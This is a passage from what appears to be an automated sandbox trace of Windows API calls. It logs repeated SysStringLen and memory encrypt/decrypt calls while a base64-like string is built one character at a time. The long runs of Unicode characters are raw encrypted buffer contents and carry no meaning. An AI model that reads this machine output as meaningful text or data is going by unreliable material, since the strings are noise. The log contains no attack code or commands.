(param_1="﬌镕╠ᕢ掵힎嶖") returned 0x8 [0235.704] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.704] SysStringLen (param_1="bS5krI") returned 0x8 [0235.704] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.704] SysStringLen (param_1="\뗙䁄꓀第ᚅ≙) returned 0x8 [0235.704] SysStringLen (param_1="\뗙䁄꓀第ᚅ≙) returned 0x8 [0235.704] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.704] SysStringLen (param_1="bS5krI5") returned 0x8 [0235.704] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.704] SysStringLen (param_1="剾塳⩣蔫☟뎾◢耇") returned 0x8 [0235.705] SysStringLen (param_1="剾塳⩣蔫☟뎾◢耇") returned 0x8 [0235.705] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.705] SysStringLen (param_1="bS5krI5j") returned 0x8 [0235.705] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0235.705] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹") returned 0x8 [0235.705] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹") returned 0x8 [0235.705] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹") returned 0x8 [0235.706] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹") returned 0x10 [0235.706] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.706] SysStringLen (param_1="bS5krI5jV관쿷᯺ó盉贴") returned 0x10 [0235.706] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.706] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹ꓯ㳞ほ隒\\仙훉") returned 0x10 [0235.706] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹ꓯ㳞ほ隒\\仙훉") returned 0x10 [0235.706] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.707] SysStringLen (param_1="bS5krI5jVb쿷᯺ó盉贴") returned 0x10 [0235.707] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.707] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹濇図釼낯㻧由輮⡾") returned 0x10 [0235.707] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹濇図釼낯㻧由輮⡾") returned 0x10 [0235.707] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.707] SysStringLen (param_1="bS5krI5jVb9᯺ó盉贴") returned 0x10 [0235.707] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.707] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹\䟝䮋膆훻幍縉彪≍) returned 0x10 [0235.707] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹\䟝䮋膆훻幍縉彪≍) returned 0x10 [0235.707] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.707] SysStringLen (param_1="bS5krI5jVb9+ó盉贴") returned 0x10 [0235.707] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.708] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹◰쾿钄\槟萈⛜㤷⊦) returned 0x10 [0235.708] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹◰쾿钄\槟萈⛜㤷⊦) returned 0x10 [0235.708] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.708] SysStringLen (param_1="bS5krI5jVb9+p盉贴") returned 0x10 [0235.708] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.708] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹㱴㈇䀹췢䁌\௟꺭≩) returned 0x10 [0235.708] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹㱴㈇䀹췢䁌\௟꺭≩) returned 0x10 [0235.708] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.708] SysStringLen (param_1="bS5krI5jVb9+p7贴") returned 0x10 [0235.708] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.709] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹葾﫨㝍鈯瓞肗눂") returned 0x10 [0235.709] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹葾﫨㝍鈯瓞肗눂") returned 0x10 [0235.709] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.709] SysStringLen (param_1="bS5krI5jVb9+p7P") returned 0x10 [0235.709] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.709] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹섁骝Ʞ쁝棷ꚗꇼ횙") returned 0x10 [0235.709] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹섁骝Ʞ쁝棷ꚗꇼ횙") returned 0x10 [0235.709] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.709] SysStringLen (param_1="bS5krI5jVb9+p7PM") returned 0x10 [0235.709] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0235.710] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ") returned 0x10 [0235.710] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ") returned 0x10 [0235.710] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ") returned 0x10 [0235.711] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ") returned 0x18 [0235.711] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.711] SysStringLen (param_1="bS5krI5jVb9+p7PMA師鄚᪁ࣉ琠鸱昵") returned 0x18 [0235.711] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.711] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ飗㠁䞲ᾯ쾋ⷯ큇ꢉ") returned 0x18 [0235.711] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ飗㠁䞲ᾯ쾋ⷯ큇ꢉ") returned 0x18 [0235.711] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.711] SysStringLen (param_1="bS5krI5jVb9+p7PMAV鄚᪁ࣉ琠鸱昵") returned 0x18 [0235.711] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.711] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎꢱ挂욺图䑱褢") returned 0x18 [0235.712] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎꢱ挂욺图䑱褢") returned 0x18 [0235.712] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.712] SysStringLen (param_1="bS5krI5jVb9+p7PMAVy᪁ࣉ琠鸱昵") returned 0x18 [0235.712] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.712] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ屈嫛⑔붴ྷ鬟") returned 0x18 [0235.712] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ屈嫛⑔붴ྷ鬟") returned 0x18 [0235.712] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.712] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeࣉ琠鸱昵") returned 0x18 [0235.712] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.712] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ譪༴䖑⮀蝔㩳") returned 0x18 [0235.712] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ譪༴䖑⮀蝔㩳") returned 0x18 [0235.713] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.713] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW琠鸱昵") returned 0x18 [0235.713] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.713] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ뚠甏惲㈁౶峪") returned 0x18 [0235.713] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ뚠甏惲㈁౶峪") returned 0x18 [0235.713] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.713] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2鸱昵") returned 0x18 [0235.713] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.713] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎọズ丮㶙詿\㟛潁⋄) returned 0x18 [0235.714] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎọズ丮㶙詿\㟛潁⋄) returned 0x18 [0235.714] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.714] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2l昵") returned 0x18 [0235.714] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.714] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ鿑親穴㮝ᨂ⍴䒤") returned 0x18 [0235.714] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎ鿑親穴㮝ᨂ⍴䒤") returned 0x18 [0235.714] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.714] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2lj") returned 0x18 [0235.714] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0235.715] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟") returned 0x18 [0235.715] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟") returned 0x18 [0235.715] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟") returned 0x18 [0235.716] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟") returned 0x20 [0235.716] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.716] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljh쎷偦䥯獸뇫\擟≡) returned 0x20 [0235.716] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.717] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟\⟜掮웟薏憒嬁浀⋩) returned 0x20 [0235.717] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟\⟜掮웟薏憒嬁浀⋩) returned 0x20 [0235.717] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.717] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhm偦䥯獸뇫\擟≡) returned 0x20 [0235.717] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.717] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ꞵ㩠ꉆ튆퇱ಶ쒓谳") returned 0x20 [0235.717] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ꞵ㩠ꉆ튆퇱ಶ쒓谳") returned 0x20 [0235.717] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.717] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH䥯獸뇫\擟≡) returned 0x20 [0235.717] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.718] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ꭡ沘쾒묬꜀톺绢찖") returned 0x20 [0235.718] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ꭡ沘쾒묬꜀톺绢찖") returned 0x20 [0235.718] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.718] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/獸뇫\擟≡) returned 0x20 [0235.718] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.718] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟꽾䙖ớ庺뎐헙") returned 0x20 [0235.718] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟꽾䙖ớ庺뎐헙") returned 0x20 [0235.718] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.718] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/Z뇫\擟≡) returned 0x20 [0235.718] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.719] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ූ⺌㜵齝蛐ꥳ跅") returned 0x20 [0235.719] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ූ⺌㜵齝蛐ꥳ跅") returned 0x20 [0235.719] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.719] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD\擟≡) returned 0x20 [0235.719] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.719] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟笧膩\換꜑吝ৗ쯳⊈) returned 0x20 [0235.719] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟笧膩\換꜑吝ৗ쯳⊈) returned 0x20 [0235.719] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.719] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD3慤") returned 0x20 [0235.719] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.720] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟쇟\৙⦱ヒ굯ჸ룲⊉) returned 0x20 [0235.720] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟쇟\৙⦱ヒ굯ჸ룲⊉) returned 0x20 [0235.720] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.720] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37") returned 0x20 [0235.720] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0235.720] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f") returned 0x20 [0235.720] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f") returned 0x20 [0235.720] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f") returned 0x20 [0235.721] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8fའ") returned 0x28 [0235.721] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.721] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37g쫊ꆓ䳭\柙淈∘) returned 0x28 [0235.721] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.721] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8fƻꅏ葱锷ꌇ❠ॊ") returned 0x28 [0235.721] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8fƻꅏ葱锷ꌇ❠ॊ") returned 0x28 [0235.722] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.722] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37gEꆓ䳭\柙淈∘) returned 0x28 [0235.722] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.722] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f逑쓖䜖\姛훘Ọᙐ⋕) returned 0x28 [0235.722] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f逑쓖䜖\姛훘Ọᙐ⋕) returned 0x28 [0235.722] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.722] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37gEKꆓ䳭\柙淈∘) returned 0x28 [0235.722] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.722] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8fᤥ됎鈖욎ኖ粻꿱쁞") returned 0x28 [0235.722] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8fᤥ됎鈖욎ኖ粻꿱쁞") returned 0x28 [0235.723] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.723] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37gEKw䳭\柙淈∘) returned 0x28 [0235.723] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.723] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f俧᝺糡딦샟") returned 0x28 [0235.723] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f俧᝺糡딦샟") returned 0x28 [0235.723] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.723] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37gEKwk\柙淈∘) returned 0x28 [0235.723] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.723] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f墆禎濈跄瘣鬡痱") returned 0x28 [0235.723] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f墆禎濈跄瘣鬡痱") returned 0x28 [0235.723] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.724] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37gEKwkg졧ᡭ") returned 0x28 [0235.724] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.724] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8fầ៫䧆ꌶ籰⣯ꐊ") returned 0x28 [0235.724] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8fầ៫䧆ꌶ籰⣯ꐊ") returned 0x28 [0235.724] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.724] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37gEKwkg+ᡭ") returned 0x28 [0235.724] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.724] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f檐⑦煒\댌쁵⊞) returned 0x28 [0235.724] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f檐⑦煒\댌쁵⊞) returned 0x28 [0235.724] SystemFunction041 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.725] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37gEKwkg+L") returned 0x28 [0235.725] SystemFunction040 (in: Memory=0x5c9af1c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9af1c) returned 0x0 [0235.725] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f㬊帿瀖᱾䆑긭") returned 0x28 [0235.725] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f㬊帿瀖᱾䆑긭") returned 0x28 [0235.725] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f㬊帿瀖᱾䆑긭") returned 0x28 [0235.726] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f㬊帿瀖᱾䆑긭") returned 0x30 [0235.726] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0235.726] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37gEKwkg+LI暪ݿ忲鞑\飝∪) returned 0x30 [0235.726] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0235.726] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f㬊帿瀖᱾䆑긭\ퟞ૬䏐몤寔뭉䮻⊎) returned 0x30 [0235.726] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f㬊帿瀖᱾䆑긭\ퟞ૬䏐몤寔뭉䮻⊎) returned 0x30 [0235.726] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0235.727] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37gEKwkg+LIBݿ忲鞑\飝∪) returned 0x30 [0235.727] SystemFunction040 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0235.727] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f㬊帿瀖᱾䆑긭ꝼ䇭튾䵞쁉哃") returned 0x30 [0235.727] SysStringLen (param_1="엸閕뢞ꄴ謜삶﹇⢹흣暾ꁏ茦쉟ꬎﬢ✏ޔ겳걟ల㱦湾논薝객\x8f㬊帿瀖᱾䆑긭ꝼ䇭튾䵞쁉哃") returned 0x30 [0235.727] SystemFunction041 (in: Memory=0x5c92b54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92b54) returned 0x0 [0235.727] SysStringLen (param_1="bS5krI5jVb9+p7PMAVyeW2ljhmH/ZD37gEKwkg+LIBw忲鞑\飝∪) returned 0x30 